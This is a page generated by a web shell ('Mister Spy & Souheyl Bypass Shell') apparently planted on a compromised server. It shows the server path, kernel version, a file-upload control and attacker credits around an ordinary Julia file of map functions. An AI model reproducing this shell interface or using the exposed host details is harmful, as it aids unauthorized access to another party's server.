Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/50_dev2017/1310__algorithms/Julia/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/50_dev2017/1310__algorithms/Julia/map.jl

function code_mapfuns(nargs::Int)
	asyms = [symbol("a$(d)") for d = 1 : nargs]
	params = [Expr(:(::), a, :ArrOrNum) for a in asyms]
    sargs = [:(getvalue($a, i)) for a in asyms]
    sargs1 = [:(getvalue($a, 1)) for a in asyms]

    quote
    	function map!(f::Functor{$nargs}, dst::NumericArray, $(params...))
            n = length(dst)
            n == maplength($(asyms...)) || error("Inconsistent argument dimensions.")
            for i = 1 : n
                @inbounds dst[i] = evaluate(f, $(sargs...))
            end
            dst
        end

    	map1!(f::Functor{$nargs}, a1::NumericArray, $(params[2:end]...)) = map!(f, a1, $(asyms...))

    	function map(f::Functor{$nargs}, $(params...))
    		shp = mapshape($(asyms...))
    		n::Int = prod(shp)
    		reshape([(@inbounds y = evaluate(f, $(sargs...)); y) for i = 1 : n], shp)
    	end
    end
end
 
macro mapfuns(nargs)
    esc(code_mapfuns(nargs))
end

@mapfuns 1
@mapfuns 2
@mapfuns 3
@mapfuns 4
@mapfuns 5

function mapdiff!(f::Functor{1}, dst::NumericArray, a1::ArrOrNum, a2::ArrOrNum)
    n = length(dst)
    n == maplength(a1, a2) || error("Inconsistent argument dimensions.")
	for i = 1 : n
		@inbounds dst[i] = evaluate(f, getvalue(a1, i) - getvalue(a2, i))
	end
	return dst
end

function mapdiff(f::Functor{1}, a1::ArrOrNum, a2::ArrOrNum)
	shp = mapshape(a1, a2)
	n::Int = prod(shp)
	reshape([(@inbounds y = getvalue(a1, i) - getvalue(a2, i); evaluate(f, y)) for i = 1 : n], shp)
end

# inplace mapping

add!(x::NumericArray, y::ArrOrNum) = map1!(Add(), x, y)
sqrt!(x::NumericArray) = map1!(SqrtFun(), x)

# extension
sqrdiff(x::NumericArray, y::NumericArray) = mapdiff(Abs2Fun(), x, y)

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net